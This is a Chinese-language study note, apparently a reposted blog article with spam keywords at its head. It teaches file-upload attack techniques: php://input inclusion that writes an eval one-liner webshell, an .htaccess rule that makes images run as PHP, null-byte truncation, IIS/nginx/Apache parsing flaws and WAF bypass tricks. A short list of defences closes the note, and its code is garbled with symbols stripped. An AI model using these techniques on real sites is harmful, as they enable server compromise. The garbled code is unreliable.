中国城乡建设部官方网站,威海做网站推广的企业,郑州网站优化工资,太原网站建设方案策划1. 文件包含上传#xff1a; php://input属于php内置的封装协议#xff0c;其实都主要是include#xff08;#xff09;函数处理不当如果有文件是以下写法#xff0c;xxx随便#xff1a;?phpinclude($_GET[xxx]);? 以上保存到test.php#xff0c; 我们访问ht…1. 文件包含上传 php://input属于php内置的封装协议其实都主要是include函数处理不当 如果有文件是以下写法xxx随便 ?phpinclude($_GET[xxx]);? 以上保存到test.php 我们访问http://127.0.0.1/test.php?xxxphp://input 然后我们通过POST提交php代码。在hackbar的POST区可利用此写入一句话木马 ?php fwrite(fopen(payload.php,w),?php eval($_POST[cc]);?);? 效果就是test.php相同目录下生成payload.php内容就是一句话木马。 2.。htaccess FilesMatch 2232SetHandler application/x-httpd-php
/FilesMatch 。htaccess是一个分布式配置文件阿帕奇的。与jpg分别上传至同意目录可以让jpg解析为php 用于对付黑名单且可以用来权限维持 3.MIMEburp修改就可以解决 4.js禁用浏览器js、修改删除本地js 5.后缀名%00截断 将文件名改为muma.php%00.jpg在burp里将%00右键转码为urldecode 或者命名为muma.php.jpg在burp里将.php后面加一个空格转到hex里因为空格的编码是%20hex找到20将棋改名为00. 事实上%00 0x00这些原理都是一样的。中间件在探测到00null就认为后面没有了俗称截断。这是后端接收到的认为就是muma.php 防御在缓冲区再做一次校验 本次学习用的测试代码demo
?php
// 允许上传的图片后缀
$allowedExts array(gif, jpeg, jpg, png);
$temp explode(., $_FILES[file][name]);
echo $_FILES[file][size];
$extension end($temp); // 获取文件后缀名
if ((($_FILES[file][type] image/gif)
|| ($_FILES[file][type] image/jpeg)
|| ($_FILES[file][type] image/jpg)
|| ($_FILES[file][type] image/pjpeg)
|| ($_FILES[file][type] image/x-png)
|| ($_FILES[file][type] image/png))($_FILES[file][size] 204800) // 小于 200 kbin_array($extension, $allowedExts))
{if ($_FILES[file][error] 0){echo 错误: . $_FILES[file][error] . br;}else{echo 上传文件名: . $_FILES[file][name] . br;echo 文件类型: . $_FILES[file][type] . br;echo 文件大小: . ($_FILES[file][size] / 1024) . kBbr;echo 文件临时存储的位置: . $_FILES[file][tmp_name] . br;// 判断当期目录下的 upload 目录是否存在该文件// 如果没有 upload 目录你需要创建它注意upload目录权限 if (file_exists(upload/ . $_FILES[file][name])){echo $_FILES[file][name] . 文件已经存在。 ;}else{// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下move_uploaded_file($_FILES[file][tmp_name], upload/ . $_FILES[file][name]);echo 文件存储在: . upload/ . $_FILES[file][name];}}
}
else
{echo 非法的文件格式;
}
? 6.中间件解析漏洞 一。 iis6.0 没有补丁一定存在此漏洞除非站长自己修复 文件正常地址 www.xxx.com/logo.jpg 触发漏洞地址 将文件命名为logo.asp;.xxx.jpg或logo.asp;.jpg 并浏览器访问www.xxx.com/logo.asp;.xxx.jpg或logo.asp;.jpg会把文件logo.asp;.xxx.jpg解析为asp。(脚本格式随意) 文件夹正常地址 www.xxx.com/image/logo.jpg 触发漏洞地址 将logo.jpg放在image.asp文件夹下并访问 www.xxx.com/image.asp/logo.jpg(脚本格式随意) 会把logo.jpg解析成为asp 二。 iis7.x nginx 探索哪些nginx低版本会存在漏洞有补丁可能会有网站打补丁修复 该解析漏洞利用需两个条件 1. php.ini里cgi.fix_pathinfo1(默认为1) 2. 在”Handler Mapping”中取消勾选以下内容 解决方案 1. 配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序 2. 在”Handler Mapping”勾选php-cgi.exe程序的”Invoke handler only if request is mapped to” 3. 重新配置iis使用ISAPI的方式(注意PHP5.3.1已经不支持ISAPI方式)。 三。nginx解析漏洞 利用 正常地址 www.xxx.com/logo.jpg 如果存在漏洞 文件命名logo.jpg,命名不变但是如果我们访问 www.xxx.com/logo.jpg/*.php 会将文件解析为php此漏洞只能将文件解析成php localhost/img/1.jpg 是正常地访问一张图片而 localhost/img/1.jpg/1.php 却会把这张图片作为PHP文件来执行 条件 新版本的php引入了“security.limit_extensions”限制了可执行文件的后缀默认只允许执行.php文件。来做进一步测试。找到php5-fpm配置文件php-fpm.conf若不知道在哪可用如下命令搜索 sudo find / -name php-fpm.conf我的测试环境中该文件位于/etc/php5/fpm/php-fpm.conf。修改该文件中的“security.limit_extensions”添加上.jpg添加后如下所示 security.limit_extensions .php .jpg这样php便认为.jpg也是合法的php文件后缀了再在浏览器中访问 http://127.0.0.1/test.jpg/test.php 看到php被成功执行 四。Apache有补丁可能会被打补丁修复探索哪些版本会有漏洞原理向上解析不识别继续向上 正常地址www.xxx.com/logo.jpg 如果存在漏洞www.xxx.com/logo.jpg.php.xxx 将文件命名为logo.jpg.php.xxx。 如果xxx apache不识别此格式则向上解析php假如还不识别继续向上解析。 先来看测试过程和结果的对比吧。 结果一 首先我安装了apache 2.x版本同时以module方式使apache与php结合测试发现确实存在这样的解析漏洞。 结果二 然后我将apache与php的结合方式修改为fastcgi方式测试发现爆500错误不存在这样的解析漏洞。 错误提示 1Bad file descriptor: mod_fcgid: dont know how to spawn child process: f4ck.php.x 意思就是不知道该如何解析这个文件。 结果出来了那么对于影响范围这块在目前所有的apache版本中均存在此问题但只适用于以module方式解析php的apache使用fastcgi方式解析php的apache不受影响使用cgi方式解析php的apache是否影响未测试。 下面来简单分享一下测试过程中我发现的一点经验。 先看一下apache的主配置文件httpd.conf搜索“DefaultType”就可以看到这么一段注释和默认配置 # # DefaultType: the default MIME type the server will use for a document # if it cannot otherwise determine one, such as from filename extensions. # If your server contains mostly text or HTML documents, text/plain is # a good value. If most of your content is binary, such as applications # or images, you may want to use application/octet-stream instead to # keep browsers from trying to display binary files as though they are # text. #10DefaultType text/plain DefaultType存在的意义是告诉apache该如何处理未知扩展名的文件比如f4ck.xxx这样的文件扩展名是xxx这肯定不是一个正常的网页或脚本文件这个参数就是告诉apache该怎么处理这种未知扩展名的文件。 参数DefaultType的默认值是“text/plain”也就是遇到未知扩展名的文件就把它当作普通的txt文本或html文件来处理。 7. Filepath修改上传 针对本地 服务端名称不一致的情况虽然可以通过文件夹命名形式利用解析漏洞但是一般情况很难在服务端创建所需要的文件夹当然不是不能够创建我们也可以利用编辑器漏洞来达到目的现在要说的是不通过文件夹解析漏洞。 在这里我们上传文件时通过burpsuite抓包然后修改数据包里的内容举例 原本filepath后内容是upfile我们抓包获得之后可以在后面加上.asp,这样就使得upfile文件夹变成upfile.asp, 就可以触发上述文件夹命名格式的解析漏洞。 也可以在upfile/后面加上xx.asp; 这样上传的文件就变成了xx.asp;201510233(服务端自动命名).jpg 可以触发解析漏洞达到访问目的。 过狗 上传数据包 Content-Disposition: form-data; nameupfile; filenamex.php; Content-Type: image/jpeg Content-Disposition Name上传数据包参数名 Filename文件名 Content-Type文件类型信息 方法 1.修改filename值去掉双引号加上分号。原理分号代表语句没有结束结束语句后不带分号所以上传的shell.php没有识别为文件名而被识别为函数所以就接着从后面开始找 2.删除Content-Disposition的值(form-data) 原理表示我没有数据要提交乱写接受的不是表单值而是其他 一、对上传的文件返回数据包时隐藏上传文件的路径。上传后的文件自动随机重命名 二、服务器端的安全过滤对上传文件的类型、以及后缀名进行严格的把控。 三、上传类型进行安全限制JS前端以及后端一起做双层的安全限制对文件的扩展名安全检测白名单MIME文件类型安全检测上传的文件大小限制。后台做渲染尝试、缓冲区再做验证 四、对上传的目录进行文件夹安全限制去掉目录的脚本执行权限转载于:https://www.cnblogs.com/drkang/p/8466990.html